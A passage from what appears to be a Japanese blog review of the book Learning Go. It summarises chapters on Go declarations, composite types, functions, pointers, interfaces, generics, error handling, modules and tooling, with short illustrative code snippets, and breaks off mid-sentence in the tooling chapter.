hello_worldGo言語の後方互換性については、開発者にとって大きなメリットだと感じています。APIの互換性が保証されているおかげで、バージョンアップによる影響を最小限に抑えられるのは、長期的なプロジェクトの維持においては特に重要なポイントだと思います。一方で、goコマンドについては後方互換性が保証されていないため、注意深くアップデートする必要があるのは確かです。moneyforward-dev.jp総じて、この章では改めてGo言語の開発環境について体系的に学ぶことができました。すでにGoを使っている人にとっても、開発環境の選択肢や、コーディングの規約、Makefileの活用など、参考になる情報が多く含まれていたと思います。実際の開発で役立つテクニックが詰まった章だったと言えるでしょう。私自身、今後もNeovimを主な開発環境として使っていく予定ですが、プロジェクトによってはVSCodeやGoLandの導入も今後も検討したいと思います。検討を重ねて検討を加速させます。みなさんは、どのような開発環境を使っているのか、そのメリットやデメリットも含めて教えていただけると嬉しいです。この章で得た知見を活かし、より効率的な環境でGoのコードを書けるようになりたいですね。次の章以降では、いよいよ言語の基本的な要素について学んでいくことになります。Goならではの特性を理解し、実践で役立てていきたいと思います。Chapter 2. Predeclared Types and Declarations「Chapter 2. Predeclared Types and Declarations」では、Go言語の組み込み型と変数宣言について詳しく解説されていました。この章を通して、Go言語の型システムと変数の扱い方について理解を深めることができました。go.devGo言語の変数宣言は、varキーワードを使う方法と:=を使う方法の2通りがあります。varを使う方法は、変数の型を明示的に指定できるので、意図が明確になります。一方、:=を使う方法は、型推論によって変数の型が自動的に決定されるので、コードがすっきりします。ただし、:=は関数内でしか使えないという制約があるので、適材適所で使い分ける必要があります。Go言語のリテラルは、デフォルトでは型を持たない(untyped)という特徴があります。これにより、リテラルを柔軟に使うことができます。例えば、整数リテラルを浮動小数点数型の変数に代入することができます。ただし、型を持たないリテラルは、デフォルトの型を持っていて、それが変数の型として使われます。定数はconstキーワードを使って宣言します。Go言語の定数は、コンパイル時に値が決定するという特徴があります。そのため、定数には数値リテラルや文字列リテラル、true/falseなどの値しか代入できません。定数は型を持つ場合と持たない場合があり、型を持たない定数はリテラルと同じように柔軟に使うことができます。変数名の付け方には、Go言語らしい流儀があります。キャメルケースを使うのが一般的で、スネークケースはあまり使われません。また、変数のスコープが小さいほど、短い名前を使うのが慣例です。例えば、forループのインデックス変数にはiやjといった1文字の名前がよく使われます。総括すると、この章ではGo言語の型システムと変数宣言について網羅的に解説されていました。Go言語の型システムは、シンプルでありながら多様な型を提供しており、柔軟性と安全性のバランスが取れていると感じました。変数宣言の方法も、varと:=の2通りがあり、使い分けることでコードの意図を明確にできます。また、リテラルと定数の扱い方にも、Go言語らしい特徴があることがわかりました。私としては、今後Go言語でコードを書く際は、この章で学んだ知識を活かして、型の選択と変数宣言を適切に行っていきたいと思います。特に、変数のスコープに応じて適切な名前を付けることは、コードの可読性を高めるために重要だと感じました。みなさんは、普段どのようなルールで変数名を付けているでしょうか。私としては、キャメルケースを使い、スコープが小さい変数には短い名前を使うようにしたいと思います。例えば、以下のように書くのがよいと思います。func main() { n := 10 for i := 0; i < n; i++ { fmt.Println(i) }}ここでは、nという変数名を使って、ループの上限を表しています。また、ループ変数にはiという1文字の名前を使っています。このように、変数名を適切に付けることで、コードの意図が明確になり、可読性が高まります。Chapter 3. Composite Types「Chapter 3. Composite Types」では、Go言語の複合型について詳しく解説されていました。配列、スライス、マップ、構造体といった複合型は、Go言語でデータを扱う上で欠かせない要素です。この章を通して、Go言語の複合型の特徴と使い方について理解を深めることができました。まず、配列の扱いにくさが印象的でした。Go言語の配列は、サイズが型の一部となっているため、非常に硬直的です。関数に任意のサイズの配列を渡すことができないなど、利用シーンが限られています。そのため、ほとんどの場合は配列ではなくスライスを使うのが一般的だと学びました。スライスは、Go言語で最もよく使われるデータ構造の一つです。宣言方法は複数ありますが、makeを使ってサイズと容量を指定する方法が適切だと感じました。スライスは参照型なので、関数に渡した場合は元のスライスが変更されることに注意が必要です。また、のように、スライスから別のスライスを作る際は、意図しない部分が共有されてしまうことがあるので、注意が必要だと学びました。マップは、キーと値のペアを格納するデータ構造です。宣言時にキーの型と値の型を指定します。マップに値を格納するには、m[key] = valueのように角括弧を使います。のように、存在しないキーにアクセスしようとすると、値の型のゼロ値が返されるのが特徴的でした。また、マップはスライス同様、参照型なので、関数に渡すと元のマップが変更されることを理解しました。構造体は、任意の型のフィールドを持つ複合型です。構造体を使えば、関連するデータをまとめて扱うことができます。構造体リテラルを使えば、簡潔に構造体を初期化できます。フィールド名を指定しない場合は、宣言された順番で値を指定する必要があります。構造体は比較可能な型のフィールドのみで構成されている場合、==や!=で比較できるのが便利だと感じました。Exercisesは、学んだ内容を実践的に使う良い機会だと思います。スライスのサブスライスを作ったり、文字列のルーンにアクセスしたり、構造体を色々な方法で初期化したりと、複合型の基本的な使い方が身につきそうな課題ばかりでした。github.comこの章ではGo言語の複合型について網羅的に学ぶことができました。スライスとマップの使い方、構造体の定義方法など、データを扱う上で欠かせない知識が身についたと実感しています。特に、スライスとマップが参照型であることや、意図しないメモリ共有に注意が必要だということは、頭に入れておくべき重要なポイントだと感じました。Chapter 4. Blocks, Shadows, and Control Structures「Chapter 4. Blocks, Shadows, and Control Structures」では、Go言語のブロックスコープ、シャドーイング、制御構文について深く理解することができました。これらの概念は、Go言語でコードを書く上で避けて通れない重要なトピックです。Uber Go Style Guide も良いのでおすすめです。github.comまず、ブロックスコープについては、変数の生存期間と可視性を適切に管理するために欠かせない概念だと感じました。Go言語では、{}で囲まれた部分がブロックを形成し、そのブロック内で宣言された変数は、ブロックの外からはアクセスできません。これにより、コードの可読性が高まり、意図しない変数の変更を防ぐことができます。シャドーイングについては、内側のブロックで宣言された変数が、外側のブロックの変数を隠してしまう現象のことを指します。これは、うっかりミスを引き起こしやすいので注意が必要です。特に、forステートメントの中で変数を再宣言してしまうと、期待した結果が得られないことがあります。一方、制御構文については、if、for、switch、gotoの4つが紹介されていました。覚えることが少ないことは良いことです。なぜなら人はコードを書くより読む時間の方が一般的に長いからです。ifステートメントは、他の言語と同様に条件分岐を行うための構文ですが、Go言語では条件式の前に簡単なステートメントを書くことができるのが特徴的です。これにより、条件式で使う変数をifステートメントのスコープ内に閉じ込めることができ、コードの可読性が向上します。forステートメントは、Go言語で唯一のループ構文であり、4つの形式があります。特に、rangeキーワードを使ったループ処理は、配列やスライス、マップなどの複合型を簡単に反復処理できるので、とても便利です。switchステートメントは、式を評価し、その値に基づいて条件分岐を行う構文です。Go言語のswitchは、breakを書かなくてもフォールスルーしないのがデフォルトの挙動なので、コードの可読性が高くなります。また、式を書かずに条件式だけを列挙するブランクスイッチも用意されており、複数の条件を簡潔に表現できます。gotoステートメントについては、安易に使うとコードの可読性を下げてしまうので、慎重に使う必要があると感じました。ただし、ネストが深いループを抜けるために使うなど、限定的な状況では有用であることも分かりました。本章で学んだ制御構文を使ったコーディングの練習問題が用意されていました。ランダムな数値を生成してスライスに格納したり、forループとifステートメントを組み合わせて条件分岐を行ったりと、基本的な制御構文の使い方が身につく内容でした。解答例を見ると、GoらしいコードのベストプラクティスがEe察でき、とても勉強になりました。github.com本章のまとめとして、ブロックスコープ、シャドーイング、制御構文を適切に使いこなすことの重要性が述べられていました。特に、制御構文を適切に使いこなすことで、Goのコードの流れを思い通りに制御できるようになることが強調されていました。技術的な観点からは、forステートメントの4つの形式についての理解が深まりました。特に、rangeキーワードを使ったforステートメントは、Goでデータ構造を反復処理する上で非常に重要だと感じました。また、switchステートメントのブランクスイッチについても、複数の条件を簡潔に表現できる点が印象的でした。gotoステートメントについては、使うべきシーンを見極めるのが難しいですが、限定的な状況では有用であることが分かりました。func main() { evenVals := []int{2, 4, 6, 8, 10, 12} for i, v := range evenVals { if i%2 == 0 { fmt.Println(v, \\"is at an even index\\") } else { fmt.Println(v, \\"is at an odd index\\") } }}上のコードは、forステートメントとifステートメントを組み合わせて、スライスの要素のインデックスの偶奇を判定しています。このように、制御構文を適切に使いこなすことで、シンプルかつ読みやすいコードを書くことができます。Chapter 5. Functions「Chapter 5. Functions」では、Go言語の関数について詳しく学ぶことができました。関数は、プログラムを構成する上で欠かせない要素であり、Go言語らしい特徴を備えています。この辺は実際に手を動かさないとピンとこないので動かしていってほしいです。go.devGo言語の関数宣言は、キーワードfuncに続いて関数名、入力パラメータ、戻り値の型を指定する形式です。C言語などと同様に、複数の値を返すことができるのが特徴的でした。これにより、関数の戻り値を介してエラーを返すことが可能になり、Goらしいエラーハンドリングが実現できます。また、名前付き戻り値という機能も印象的でした。これは、関数の戻り値に名前を付けることで、関数内で直接それらの変数を操作できるようにするものです。ただし、可読性を損なわないよう、この機能は慎重に使う必要があると感じました。一方で、Go言語の関数には、可変長引数がありこれは、任意の数の引数を関数に渡すことができる機能で、fmt.Printlnなどでも使われています。また、無名関数を利用することで、関数内で動的に関数を生成することも可能です。これらの機能は、柔軟かつ表現力豊かなコードを書く上で重要だと感じました。クロージャは、Go言語の強力な機能の一つです。関数の外で定義された変数を関数内で参照し、その値を変更できるのがクロージャの特徴です。これを応用することで、関数に状態を持たせることができ、より高度なプログラミングが可能になります。例えば、sort.Sliceでは、クロージャを利用してソート条件を指定しています。また、defer文は、関数の終了時に必ず実行されるコードを登録するための機能です。これを使えば、ファイルのクローズ処理などを簡潔に記述でき、リソースの適切な管理が容易になります。deferは名前付き戻り値と組み合わせることで、エラーハンドリングにも活用できます。Go言語では、すべての型がValueセマンティクスを持つため、関数の引数として渡された変数は、常にコピーが渡されます。これにより、関数内で引数の値を変更しても、呼び出し元の変数には影響を与えません。ただし、マップやスライスは参照型なので、関数内での変更が呼び出し元に反映されるという特殊な挙動を示します。は、この違いを端的に表した例だと思います。Exercisesでは、これまで学んだ関数に関する知識を活用する問題が用意されていました。計算機のプログラムにエラーハンドリングを追加したり、ファイルの長さを返す関数を書いたりと、実践的なコーディングの練習になりました。また、クロージャを使って、プレフィックスを付ける関数を生成する問題もあり、Go言語らしい関数の使い方が身につく内容でした。github.comWrapping Upでは、この章で学んだことの総括として、Go言語の関数の特徴と、それを活かしたプログラミングの重要性が述べられていました。関数を適切に使いこなすことで、Goのコードをより効果的に構成できるようになるでしょう。技術的な観点からは、可変長引数やクロージャ、名前付き戻り値など、Go言語特有の関数の機能についての理解が深まりました。特に、クロージャを利用した関数の実装は、Go言語らしいイディオムの一つだと感じました。また、defer文についても、リソース管理やエラーハンドリングにおける有用性を実感できました。func main() { nums := []int{1, 2, 3, 4, 5} doubles := transform(nums, func(x int) int { return x * 2 }) fmt.Println(doubles)}func transform(slice []int, f func(int) int) []int { transformed := make([]int, len(slice)) for i, v := range slice { transformed[i] = f(v) } return transformed}上のコードは、クロージャを利用して、スライスの各要素を変換するtransform関数の例です。このように、関数を引数として受け取ることで、柔軟な処理を実現できます。総括すると、この章ではGo言語の関数について網羅的かつ体系的に学ぶことができました。関数宣言や複数の戻り値、可変長引数など、他の言語と共通する機能に加えて、クロージャやdeferなど、Go言語特有の機能についても詳しく解説されていました。これらを適切に使いこなすことが、Goらしいコードを書く上で重要だと感じました。また、学んだ関数の機能を実際のコードに落とし込む練習ができたのも良かったです。エラーハンドリングやファイル操作など、実用的な関数の書き方が身についたと思います。関数は、プログラムを構成する上で中心的な役割を果たします。**Go言語の関数には、シンプルな書き方を維持しつつ、高度なことを実現するための機能が備わっています。Chapter 6. Pointers「Chapter 6. Pointers」は、Goプログラミングにおけるポインタの概念と活用方法を深く理解するために非常に重要な章です。ポインタは、他の言語ではしばしば難解で危険なものとして扱われることがありますが、Goではその扱いやすさと効率性が際立っています。著者は、まずポインタの基本的な文法と動作について丁寧に解説しています。ポインタは、変数が格納されているメモリアドレスを保持する特別な変数であり、アドレス演算子(&)とデリファレンス演算子(*)を用いて操作します。そして、ポインタ型の宣言方法やnilポインタの概念についても触れています。次に、著者はポインタの活用方法について、他の言語との比較を交えながら詳しく説明しています。Goでは、ポインタを使用するかどうかを開発者が選択できるため、不変性を保ちつつ、必要に応じてデータの変更を行うことができます。この柔軟性は、Goの強力な特徴の一つと言えるでしょう。また、ポインタを関数の引数や戻り値として使用する際の注意点についても言及されています。特に、nilポインタを関数に渡した場合の動作や、ポインタのコピーがもたらす影響について、具体的なコード例を用いて解説されています。さらに、著者はポインタの性能面でのメリットについても触れています。大きなデータ構造体をポインタで渡すことで、関数呼び出しのオーバーヘッドを削減できることが示されています。ただし、著者は安易なポインタの使用を戒めており、可能な限り値型を使用するべきだと主張しています。Figure 6-5. The memory layout of a slice より引用マップとスライスのポインタ実装の違いについても、詳細に解説されています。マップはポインタとして実装されているため、関数に渡すと元の変数に影響を与えますが、スライスは長さと容量の情報も含むため、より複雑な動作をします。特に、スライスの長さを変更しても元の変数には影響しないという特性は、バッファとしてスライスを活用する際に重要です。Figure 6-9. Changing the capacity changes the storage より引用メモリ割り当てとガベージコレクションについても、Goの特徴が詳しく解説されています。Goは、スタックとヒープを適切に使い分けることで、効率的なメモリ管理を実現しています。著者は、ヒープ割り当てを最小限に抑え、ガベージコレクターの負荷を減らすことの重要性を強調しています。この「機械的な共感」の考え方は、Goプログラミングにおいて非常に重要な概念だと言えます。最後に、著者はガベージコレクターのチューニング方法についても触れています。GOGCとGOMEMLIMITの環境変数を適切に設定することで、ガベージコレクションの頻度やメモリ使用量を制御できることが示されています。ポインタに関する実践的な演習問題が提供されています。Personの構造体を使ったポインタの活用や、スライスの動作の理解を深める問題など、ポインタの理解を深めるために有益な問題が用意されています。これらの演習を通して、読者はポインタの概念を実際のコードに落とし込む力を身につけることができるでしょう。この章でポインタの重要性と適切な使用方法について再確認できました。著者は、次章で扱うメソッド、インターフェース、型についても、ポインタの理解が役立つことを示唆しています。Chapter 7. Types, Methods, and Interfaces「Chapter 7. Types, Methods, and Interfaces」は、Go言語のオブジェクト指向プログラミングの特徴を理解する上で非常に重要な章です。著者は、Goが他の言語とは異なるアプローチを取っていることを強調しつつ、型、メソッド、インターフェースの使い方とベストプラクティスを丁寧に解説しています。Goの型システムは、シンプルでありながら非常に強力です。 著者は、ユーザー定義型の宣言方法や、型宣言が「実行可能なドキュメンテーション」としての役割を果たすことを説明しています。また、iotaを使った列挙型の定義方法についても触れ、iotaの適切な使用方法を示しています。メソッドについては、レシーバーの指定方法や、ポインタレシーバーとバリューレシーバーの使い分けが重要なポイントです。著者は、nilインスタンスを適切に扱うためのテクニックや、メソッドが関数としても扱えることを示し、メソッドと関数の使い分け方についても言及しています。Goのインターフェースは、型安全な「ダックタイピング(Duck typing)」を実現する強力な機能です。ダックタイピングとは、オブジェクトの 型(クラス)を明示的に宣言せずに 、オブジェクトの振る舞い(メソッド)やプロパティを利用することで、そのオブジェクトの型(クラス)を推測する手法です。。 著者は、インターフェースの暗黙的な実装がもたらす柔軟性と、明示的なインターフェースに比べた利点を詳しく説明しています。また、インターフェースとnilの関係や、インターフェースの比較可能性についても触れ、インターフェースを適切に使いこなすためのヒントを提供しています。特に印象的だったのは、「Accept Interfaces, Return Structs」というアドバイスです。関数やメソッドの引数としてインターフェースを受け取り、戻り値としてコンクリートな型を返すことで、APIの柔軟性と保守性を高めることができます。 ただし、パフォーマンスとのトレードオフにも注意が必要です。著者は、Goの暗黙的なインターフェースが、依存性の注入を容易にすることも指摘しています。サンプルコードを用いて、インターフェースを介して依存関係を外部化する方法を具体的に示しており、読者は実践的なスキルを身につけることができます。type DataStore interface { UserNameForID(userID string) (string, bool)}type Logger interface { Log(message string)}type SimpleLogic struct { l Logger ds DataStore}func (sl SimpleLogic) SayHello(userID string) (string, error) { sl.l.Log(\\"in SayHello for \\" + userID) name, ok := sl.ds.UserNameForID(userID) if !ok { return \\"\\", errors.New(\\"unknown user\\") } return \\"Hello, \\" + name, nil}func (sl SimpleLogic) SayGoodbye(userID string) (string, error) { sl.l.Log(\\"in SayGoodbye for \\" + userID) name, ok := sl.ds.UserNameForID(userID) if !ok { return \\"\\", errors.New(\\"unknown user\\") } return \\"Goodbye, \\" + name, nil}これまで学んだ概念を応用する練習問題が用意されています。バスケットボールリーグを管理するプログラムを作成する過程で、型、メソッド、インターフェースの使い方を体験的に学ぶことができます。これらの演習を通して、読者はGoの型システムに対する理解を深め、実践的なスキルを磨くことができると思います。章全体としてGoの型システムの特徴とベストプラクティスについて再確認しています。Chapter 8. Generics「Chapter 8. Generics」は、Go言語におけるジェネリクスの概念と使用方法を深く理解するために非常に重要な章です。ジェネリクスは、Go言語の型システムに大きな変革をもたらす機能であり、コードの再利用性と柔軟性を大幅に向上させることができます。 著者は、この章を通して、ジェネリクスの必要性、基本的な使い方、制限事項、そして適切な活用方法について丁寧に解説しています。まず、著者はジェネリクスの必要性について説明しています。Go言語は静的型付け言語であり、関数やデータ構造の型を明示的に指定する必要があります。しかし、異なる型に対して同じロジックを適用したい場合、ジェネリクスがないと、コードの重複が避けられません。これは、コードの保守性を低下させ、バグを引き起こす可能性があります。ジェネリクスを使うことで、型に依存しないアルゴリズムを一度だけ実装し、様々な型に対して再利用できるようになります。次に、著者はジェネリクスの基本的な使い方について説明しています。Go言語のジェネリクスは、型パラメータを使って実現されます。型パラメータは、関数やデータ構造の定義時に指定し、具体的な型の代わりに使用します。型パラメータには制約を設けることができ、許容する型を限定することができます。 これにより、コンパイル時の型安全性を確保しつつ、柔軟性を維持することができます。著者は、スタック(stack)のデータ構造を例に、ジェネリクスの使い方を具体的に示しています。ジェネリックなスタックの実装では、要素の型を型パラメータで表現し、anyとcomparableという組み込みのインターフェースを制約として使用しています。これにより、任意の型の要素を持つスタックを、一つの実装で表現できます。また、comparableを使うことで、要素の比較が必要な操作も、型安全に行えるようになります。さらに、著者はジェネリックな関数 Map 、 Reduce 、 Filter の実装を紹介しています。これらの関数は、スライスに対する一般的な操作を抽象化したもので、様々な型のスライスに適用できます。これにより、コードの重複を大幅に削減でき、アルゴリズムの本質に集中できるようになります。また、著者はジェネリクスとインターフェースの関係についても説明しています。インターフェースを型制約として使うことで、ジェネリックな型に特定のメソッドを要求できます。 これにより、より細かな制約を設けることができ、コードの安全性を高められます。さらに、インターフェース自体をジェネリック化することで、より柔軟な抽象化が可能になります。型の要素(type elements)についても詳しく解説されています。型の要素を使うことで、特定の演算子をサポートする型だけを受け入れるジェネリックな関数を定義できます。 これは、数値計算などで特に役立ちます。著者は、Integerというインターフェースを定義し、整数型に対する演算を抽象化する例を示しています。ジェネリックな関数とデータ構造を組み合わせることで、より汎用的なコードを書くことができます。著者は、バイナリツリーの例を用いて、比較関数をジェネリック化することで、任意の型に対応できるようになることを示しています。これにより、コードの再利用性が大幅に向上します。type OrderableFunc[T any] func(t1, t2 T) intfunc NewTree[T any](f OrderableFunc[T]) *Tree[T] { return &Tree[T]{ f: f, }}comparableインターフェースとジェネリクスの関係についても、注意点が説明されています。comparableを型制約として使う場合、比較可能でない型が渡されるとランタイムパニックが発生する可能性があります。これを防ぐためには、コンパイル時に型チェックを行う必要があります。また、著者はジェネリクスの現在の制限についても言及しています。Go言語のジェネリクスは、他の言語に比べてシンプルな設計になっており、特殊化やカリー化、メタプログラミングなどの機能は提供されていません。 これは、Go言語のシンプルさと読みやすさを維持するための判断だと考えられます。ジェネリクスの導入により、Go言語のイディオマティックな書き方にも変化が生じます。著者は、float64を汎用的な数値型として使う慣習が廃れ、anyがinterface{}に取って代わることを指摘しています。また、ジェネリクスを使うことで、異なる型のスライスを統一的に扱えるようになります。ただし、既存のコードをジェネリクスに置き換える際は、慎重に行う必要があります。パフォーマンスへの影響については、まだ評価が定まっていません。一部のケースでは、ジェネリクスを使うことでコードが遅くなることが報告されています。しかし、ソートアルゴリズムでは、ジェネリクスを使うことで速度が向上するという報告もあります。著者は、可読性と保守性を重視しつつ、必要に応じてベンチマークを取ることを推奨しています。標準ライブラリへのジェネリクスの導入は慎重に行われています。 当初はanyとcomparableのみが追加されましたが、Go 1.21からは、スライスとマップ、並行処理に関する関数が追加されています。これらの関数は、よく使われる操作を抽象化し、コードの重複を削減するのに役立ちます。今後も、ジェネリクスを活用した新しい関数やデータ型が追加されていくことが期待されます。最後に、著者はジェネリクスによって可能になる将来の機能について言及しています。ジェネリクスを基礎として、より高度な型システムを構築できる可能性があります。 例えば、和型(sum types)を導入することで、型安全性を高めつつ、柔軟なデータ表現が可能になります。また、Goの列挙型の弱点を克服する手段としても、和型は有望視されています。本章ではジェネリクスに関する実践的な演習問題が用意されています。整数と浮動小数点数の両方に対応する関数の作成や、特定の型を要求するインターフェースの定義など、ジェネリクスの基本的な使い方から応用までを網羅しています。これらの演習を通して、読者はジェネリクスの概念を実際のコードに落とし込む力を身につけることができるでしょう。github.com章全体の内容を振り返り、ジェネリクスの重要性と将来の可能性について再確認できました。著者は、ジェネリクスがGo言語の表現力を高め、コードの再利用性を向上させる強力な機能であると強調しています。 一方で、Go言語のシンプルさを維持するために、ジェネリクスの機能は意図的に制限されています。これからのGo言語の発展において、ジェネリクスがどのように活用されていくのか、楽しみにしていると述べています。ジェネリクスは、Go言語の未来を切り拓く重要な機能であると言えます。 それを適切に使いこなすことで、より柔軟で保守性の高いコードを書けるようになるでしょう。一方で、ジェネリクスの濫用は、かえってコードの複雑さを増し、可読性を損なう恐れがあります。今後、Go言語のエコシステムにおいて、ジェネリクスを活用したライブラリやフレームワークが登場することが期待されますが、それらを適切に評価し、選択していく眼を養う必要があります。Chapter 9. Errors「Chapter 9. Errors」は、Go言語におけるエラーハンドリングの基本から応用までを網羅的に解説した章です。この章を通して、Go言語のエラー処理の特徴と、それを適切に使いこなすためのテクニックについて理解を深めることができました。Go言語のエラー処理は、他の言語の例外処理とは一線を画しています。Goでは、エラーは関数の戻り値として返され、呼び出し元で明示的にチェックする必要があります。 これは一見、冗長で面倒に感じるかもしれませんが、実際には、コードの流れを明確にし、エラーを見落とすリスクを減らすことができます。著者は、この設計の背景にある「Goの哲学」について丁寧に説明しており、納得感を持って読み進めることができました。Go言語のベストプラクティスとして、「Accept interfaces, return structs」という原則があります。これは、関数やメソッドの引数としてインターフェースを受け取り、戻り値として具体的な構造体を返すことを推奨するものです。エラー処理においても、この原則を応用し、具体的なエラー型を返すことで、呼び出し元が適切にエラーを処理できるようになります。特に印象的だったのは、カスタムエラー型の定義方法と活用方法です。Goでは、エラーをただの文字列ではなく、構造体として定義することができます。これにより、エラーに付加情報を持たせたり、エラーの種類によって処理を変えたりすることが可能になります。著者は、カスタムエラー型の定義方法から、そのメソッドの実装、そしてerrors.Isやerrors.Asを使った高度なエラー処理までを、具体的なコード例を交えて解説しています。type MyError struct { Codes []int}func (me MyError) Error() string { return fmt.Sprintf(\\"codes: %v\\", me.Codes)}func (me MyError) Is(target error) bool { if me2, ok := target.(MyError); ok { return slices.Equal(me.Codes, me2.Codes) } return false}また、エラーのラップ(wrapping)とアンラップ(unwrapping)についても詳しく解説されていました。fmt.Errorfの%w動詞を使えば、元のエラーを失わずに新しいエラーメッセージを追加できます。これにより、エラーが発生した場所や状況を詳細に伝えつつ、根本原因を追跡することができます。逆に、errors.Unwrapを使えば、ラップされたエラーから元のエラーを取り出すことができます。実際にカスタムエラー型を定義し、エラーをラップ・アンラップする練習問題が用意されていました。これらの問題を通して、エラー処理の基本的な書き方だけでなく、より実践的なテクニックも身につけることができました。特に、複数のエラーをまとめて返す方法や、deferを使ったエラーハンドリングの例は、実際のプロジェクトでも役立つと感じました。github.com一方で、panicとrecoverについては、慎重に使うべきだと改めて認識しました。 panicは、回復不可能なエラーが発生した場合に使うべきであり、安易に使うとかえってコードの可読性を損ねてしまいます。recoverは、panicからの復帰を可能にしますが、ライブラリのAPI境界を越えてpanicを伝播させるべきではありません。著者は、panicとrecoverの適切な使い方について、具体的な指針を示しています。func div60(i int) { defer func() { if v := recover(); v != nil { fmt.Println(v) } }() fmt.Println(60 / i)}この章でGo言語のエラー処理の特徴とベストプラクティスが再確認されています。 エラーを単なる例外ではなく、値として扱うことで、より柔軟で表現力豊かなエラーハンドリングが可能になります。一方で、その自由度ゆえに、適切なエラー処理を行うには、一定の規律と経験が必要になります。総括すると、この章ではGo言語のエラー処理について体系的に学ぶことができました。 エラーを値として扱う考え方や、カスタムエラー型の定義方法、エラーのラップとアンラップ、panicとrecoverの適切な使い方など、Go言語ならではのエラー処理の特徴と、それを活かすためのベストプラクティスについて理解を深めることができました。特に、実際のコードを書く上では、エラー処理を適切に行うことが、コードの品質と保守性を大きく左右します。 単にエラーを無視するのではなく、適切にエラーをハンドリングし、ログ出力や監視システムと連携させることが重要です。また、ライブラリやパッケージを設計する際は、エラーをどのように定義し、どのように返すかを慎重に検討する必要があります。Chapter 10. Modules, Packages, and Imports「Chapter 10. Modules, Packages, and Imports」は、Go言語におけるコード管理と外部ライブラリの利用について、非常に重要な概念を丁寧に解説した章です。この章を通して、私はGoのモジュールシステムの特徴と、それを活用するためのベストプラクティスについて理解を深めることができました。まず、モジュール、パッケージ、レポジトリの関係性について明確に説明されていました。モジュールはソースコードの集合体であり、バージョン管理されるユニットです。パッケージはモジュールを構成する要素であり、ディレクトリと1対1で対応します。レポジトリはモジュールを格納する場所です。これらの概念を正しく理解することは、Goでのコード管理を行う上で欠かせません。次に、go.modファイルの役割と記述方法について解説されていました。go.modファイルは、モジュールのメタデータとその依存関係を記述するファイルです。moduleディレクティブでモジュールのパスを宣言し、goディレクティブで必要なGoのバージョンを指定し、requireディレクティブで依存モジュールとそのバージョンを記述する。この構文を理解することで、自分のモジュールを適切に定義し、外部モジュールを利用できるようになります。また、パッケージの作成方法と命名規則、内部パッケージの役割などについても詳しく説明されていました。パッケージ名はディレクトリ名と一致させるべきであり、機能を適切に分割し、依存関係を最小限に抑えるべきです。 内部パッケージを使えば、モジュール内だけで共有したいコードを適切に隠蔽できます。これらのベストプラクティスを意識することで、保守性の高いコードを書けるようになるでしょう。さらに、GoDocコメントの書き方と、pkg.go.devを使ったドキュメントの公開方法も紹介されていました。適切なGoDocコメントを書くことで、自分のパッケージをわかりやすく説明でき、pkg.go.devで自動的にドキュメントを公開できます。これにより、他の開発者が自分のパッケージを使いやすくなり、オープンソースへの貢献にもつながります。モジュールのバージョニングについては、セマンティックバージョニングのルールに従うべきだと強調されていました。APIの互換性を維持しつつ、適切にバージョンを上げていくことが重要です。不適切なバージョンを公開してしまった場合の対処方法として、retractディレクティブの使い方も説明されていました。モジュールプロキシとチェックサムデータベースの仕組みについても、セキュリティの観点から重要な説明がありました。デフォルトではGoogleが運営するプロキシサーバとチェックサムデータベースが使われ、モジュールの整合性が検証されます。 必要に応じて、独自のプロキシサーバを立てたり、プロキシを無効化したりできることも示されていました。また、GoのWorkspaceを使えば、複数のモジュールを同時に編集できることが紹介されていました。これにより、モジュール間の変更を簡単にテストでき、開発の効率が上がります。 ただし、Workspaceの情報をバージョン管理システムにコミットしないよう注意が必要です。サンプルコードを見ると、モジュールの作成から公開、利用までの一連の流れが具体的に示されていました。go mod initでモジュールを初期化し、go getで依存関係を解決し、go buildでビルドする。このような一連のコマンドを適切に使いこなすことが、Goでの開発には欠かせません。$ go mod init github.com/learning-go-book-2e/money$ go get ./...$ go buildExercisesでは、自分でモジュールを作成し、バージョニングやドキュメンティングを実践する課題が用意されていました。実際にコードを書いて、モジュールの作成から公開までの流れを体験することは、理解を深める上で非常に有効だと感じました。// Add adds two numbers together and returns the result. //// More information on addition can be found at [https://www.mathsisfun.com/numbers/addition.html](https://www.mathsisfun.com/numbers/addition.html).func Add[T Number](a, b T) T { return a + b}Goの優れたモジュールシステムを活用することで、コードの管理がしやすくなり、外部ライブラリも安全に利用できるようになります。一方で、適切なバージョニングやドキュメンティングを行うことが、モジュールの作者としての責務であることも強調されていました。この章ではGoにおけるコード管理と外部ライブラリ利用のベストプラクティスについて、体系的に学ぶことができました。モジュール、パッケージ、レポジトリの関係性、go.modファイルの記述方法、パッケージの設計原則など、Goでの開発に欠かせない知識が丁寧に解説されていました。またモジュールのバージョニングやドキュメンティングの重要性についても、実例を交えて説明されていました。特に、モジュールプロキシとチェックサムデータベースの仕組みは、Goの優れたエコシステムを支える重要な基盤だと感じました。セキュリティと利便性を高いレベルで両立させているGoの設計思想に、改めて感銘を受けました(以前、何かの勉強会で聞いた気がするがすっかり忘れていた)。Chapter 11. Go Tooling「Chapter 11. Go Tooling」は、Goプログラミングにおける開発ツールの重要性と活用方法について深く理解するための重要な章でした。この章を通して、私はGoの豊富な標準ツールと、サードパーティのツールを組み合わせることで、より効率的で高品質なコードを書けるようになると実感しました。著者は、まずgo runを使って小さなプログラムを素早く試す方法を紹介しました。これにより、コンパイルと実行を一度に行え、スクリプト言語のような気軽さでGoを使えるようになります。Goがコンパイル言語でありながら、インタプリタ言語のような利便性も兼ね備えている点が印象的でした。次に、go installを使ってサードパーティのツールをインストールする方法が解説されました。Goのツールエコシステムは非常に充実しており、多くの優れたツールがオープンソースで公開されています。go installを使えば、それらのツールを簡単にインストールし、自分の開発環境に取り込むことができます。また、著者はgoimportsを使ってインポートの整形を改善する方法も紹介しました。これはgo fmtの機能を拡張したもので、不要なインポートを削除し、必要なインポートを自動的に追加してくれます。コードの可読性と保守性を高めるために、goimportsを活用すべきだと感じました。コード品質をチェックするツールとして、staticcheck、revive、golangci-lintが紹介されていました。これらのツールは、潜在的なバグや非効率的なコードを検出し、Goのベストプラクティスに沿ったコードを書くのに役立ちます。特にgolangci-lintは、多数のリンターを統合的に使える便利なツールだと感じました。また、著者はgovulncheckを使って脆弱性のある依存関係をスキャンする方法も解説しました。サードパーティのライブラリを利用する際は、既知の脆弱性がないかチェックすることが重要です。govulncheckを活用することで、セキュリティリスクを早期に発見し、対処できるようになります。さらに、go:embedを使ってコンテンツをプログラムに埋め込む方法や、go 